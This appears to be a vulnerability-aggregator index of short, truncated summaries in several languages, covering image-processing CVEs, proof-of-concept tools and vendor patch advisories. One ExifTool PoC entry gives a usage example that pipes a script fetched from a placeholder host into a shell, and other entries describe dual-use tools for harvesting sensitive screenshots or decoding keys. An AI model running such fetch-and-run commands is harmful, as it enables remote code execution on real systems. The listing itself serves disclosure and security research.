CVE-2020-29599

CVE-2020-29599 Artifex ImageMagick lib Artifex version 6.9.11-40 et 7.0. 10-40 Les fichiers SVG seront convertis en images...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Téléchargement arbitraire de fichiers Auteur - Jinny Ramsmark Fournisseur concerné - Verot.net Produit concerné - class.upload.php = 2.0.4 Testé sur Ubuntu 14.04 fraîchement installé avec PHP5 et Apache Plus précisément, Debian/Ubuntu s'est avéré vulnérab...

CVE-2021-22204

CVE-2021-22204 - ExifTool Exécution de code arbitraire Une preuve de concept améliorée pour CVE-2021-22204, une vulnérabilité dans les versions 7.44 à 12.23 d'ExifTool qui permet l'exécution de code arbitraire lors du traitement de fichiers DjVu malveillants. Crédits Ceci est un travail dérivé. L...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Ceci est juste un script pratique que j'ai écrit pour faire des tests. Sortie Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates ...

KeyDecoder

KeyDecoder KeyDecoder — это мобильное приложение, созданное для пентестеров и энтузиастов безопасности. По фотографии ключа можно легко измерить его биттинг. Разработано Maxime BEASSE и Quentin CLEMENT. В партнёрстве с FrenchKey и CNS из ESIEA. Работает на Flutter 3.13.6 и OpenCV 4.3.0 Summary...

shotlooter

Introduction L'outil Shotlooter est développé pour trouver des données sensibles dans les captures d'écran téléchargées sur https://prnt.sc/ via le logiciel LightShot en appliquant des méthodes d'OCR et de traitement d'image. +-------------------+ IMAGE FILE |!/usr/bin/python |...

CVE-2025-43300

CVE-2025-43300 : Corruption mémoire dans le traitement d'images DNG sur iOS/macOS Présentation CVE-2025-43300 est une vulnérabilité critique de corruption mémoire dans le framework de traitement d'images d'Apple qui affecte iOS 18.6.1 et les systèmes macOS. La vulnérabilité réside dans le code de...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 выполняет небезопасную Java-десериализацию управляемых атакующим .bfmemo-файлов кэша во время обработки изображений; специально созданный .bfmemo может вызвать десериализацию недоверенных данных DoS/манипуляция...

[SECURITY] Fedora 45 Update: perl-Imager-1.036-1.fc45

Imager is a module for creating and altering images. It can read and write various image formats, draw primitive shapes like lines,and polygons, blend multiple images together in various ways, scale, crop, render text and more...

CVE-2026-81180 SysReptor: Authenticated RCE by insecure image processing

SysReptor is a fully customizable pentest reporting platform. Prior to 2026.61, authenticated users of SysReptor Professional can upload image files whose formats cause image processing to invoke Ghostscript, allowing embedded PostScript to operate in the shared temporary directory. An attacker c...

ROOT-OS-DEBIAN-13-CVE-2026-56372 CVE-2026-56372 in imagemagick - Patched by Root

Root has patched CVE-2026-56372 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-61465 CVE-2026-61465 in imagemagick - Patched by Root

Root has patched CVE-2026-61465 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

CVE-2026-86882

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to...

CVE-2026-86869

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-84571

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-84564

An uninitialized memory issue was addressed with improved memory initialization. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may result i...

CVE-2026-84565

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted disk image may lead to unexpected app termination...

CVE-2026-65395

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted image may result in memory corruption...

CVE-2026-64752

A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing a maliciously crafted image may lead to arbitrary code execution...